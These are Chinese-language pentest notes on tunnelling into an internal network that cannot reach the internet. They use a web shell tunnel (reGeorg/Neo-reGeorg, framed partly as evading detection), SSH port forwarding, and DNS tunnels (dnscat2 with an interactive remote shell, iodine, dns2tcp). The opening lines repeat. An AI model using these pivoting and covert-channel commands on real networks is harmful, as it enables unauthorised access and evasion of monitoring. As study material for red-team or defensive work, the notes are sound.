192.168.20.100
内网主机: 192.168.20.110(不能出网)
攻击机器: 192.168.10.90
一.应用层隧道
1.1 HTTP隧道
1.1.1 reGeorg
上传tunnel.php到边界主机
本机运行:python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
本机 socks5 127.0.0.1 8888
边界主机: 192.168.10.100
192.168.20.100
内网主机: 192.168.20.110(不能出网)
攻击机器: 192.168.10.90
一.应用层隧道
1.1 HTTP隧道
1.1.1 reGeorg
上传tunnel.php到边界主机
本机运行:python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
本机 socks5 127.0.0.1 8888
1.1.2 Neo-reGeorg
Neo-reGeorg 是一个重构了 reGeorg 的项目,目的是:
提高 tunnel 连接安全性
提高可用性,避免特征检测
提高传输内容保密性
应对更多的网络环境场景
python3 neoreg.py generate -k 123.com 生成密钥为123.com的脚本文件 (默认脚本文件密钥为password)
上传tunnel.php到边界主机上
攻击机器连接: python3 neoreg.py -k 123.com -u http://192.168.10.100/tunnel.php -p 4444 (-p 指定代理端口,不使用-p,默认为1080)
攻击机器代理: socks5 127.0.0.1 4444
1.2 SSH隧道
本机端口转发 在本地主机上开启端口流量转发功能
HostA : 192.168.10.1 入侵者
HostB : 192.168.10.2 堡垒机
HostC : 192.168.10.3 内网服务器
本地转发: ssh -L 8866:192.168.10.3:23 -fN 192.168.10.2 (在hostA上执行) 将192.168.10.3的23端口通过192.168.10.2转发到192.168.10.1的8866端口
远程转发: ssh -R 8866:192.168.10.3:23 -fN 192.168.10.1 (在HostB上执行) 将192.168.10.3的23端口通过本机转发到192.168.10.1的8866端口
动态转发: ssh -D 1080 -fN 192.168.10.2 (在HostA上执行) 将hostA上到1080端口的数据都转发到192.168.10.2上
1.3 dns隧道
1.dnscat2
https://blog.csdn.net/weixin_44110913/article/details/114438131
DNS隧道:https://github.com/iagox86/dnscat2
cd server/
gem install bundler
bundle install
基于ip地址的(直连模式)
服务端执行:ruby dnscat2.rb
客户端执行:./dnscat --dns server=192.168.1.131,port=53 --secret=shadow
windows:查看所有会话
window -i 1:切换到1会话
shell:创建交互式shell
listen 127.0.0.1:888 127.0.0.1:22 第一个127.0.0.1为服务端ip,第二个127.0.0.1为客户端ip,将客户端的22端口转到服务端的888端口
ssh -p 888 127.0.0.1
基于域名方式(中继模式)
服务端:ruby dnscat2.rb ns1.skytear.top -e open --no-cache -c 123.com
-e:指定安全级别,open表示服务端运行客户端不进行加密
-c:指定密钥
--no-cache:禁止缓存,一定添加该选项,因为powershell-dnscat2客户端域dnscat2服务端的Caching模式不兼容
客户端:./dnscat --secret=123.com ns1.skytear.top
2.iodine
https://www.freebuf.com/articles/web/286295.html
iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD
#-f:在前台运行
#-c:禁止检查所有传入请求的客户端IP地址。#-P:客户端和服务端之间用于验证身份的密码。#-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。#这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
#注意!填写的地址为NS记录
iodine -f -P d1m0n dns2tcp.xxx.com -M 200
#-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
#-M:指定上行主机的大小。
#-m:调节最大下行分片的大小。
#-f:在前台运行
#-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
#-O:指定数据编码规范。
#-P:客户端和服务端之间用于验证身份的密码。
#-L:指定是否开启懒惰模式,默认开启。
#-I:指定两个请求之间的时间间隔。
3.dns2tcp
服务端
gost -L=socks5://:60688 gost开启正向socks5代理
proxy socks -t tcp -p "0.0.0.0:60688" --udp-port 0 --udp proxy开启正向socks5代理(https://github.com/snail007/goproxy/blob/master/README_ZH.md)
dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
/etc/dns2tcpd.conf配置文件
listen = 0.0.0.0
port = 53
#If you change this value, also change the USER variable in /etc/default/dns2tcpd
user = nobody
chroot = /tmp
domain = ns.woshishui120.ga #NS解析对应的域名
resources = ssh:121.5.145.31:22 , socks:121.5.145.31:60688 #其IP地址是云服务器公网IP,端口随意设置为了7777
-f /etc/dns2tcpd.conf”指定了配置文件,
-F要求程序在前台运行,
-d 2 指明了输出调试信息,级别为2
客户端
dns2tcpc -r socks -z ns.woshishui120.ga -l 8888 -d 2
-r socks指明了要连接的资源,
-z dns2tcp.werner.wiki”指明了建立DNS隧道使用的域名,
-l 8888”指明了隧道的这头监听的端口,
-d 2”的作用和服务器端相同
socks5 127.0.0.1 8888 就可以访问互联网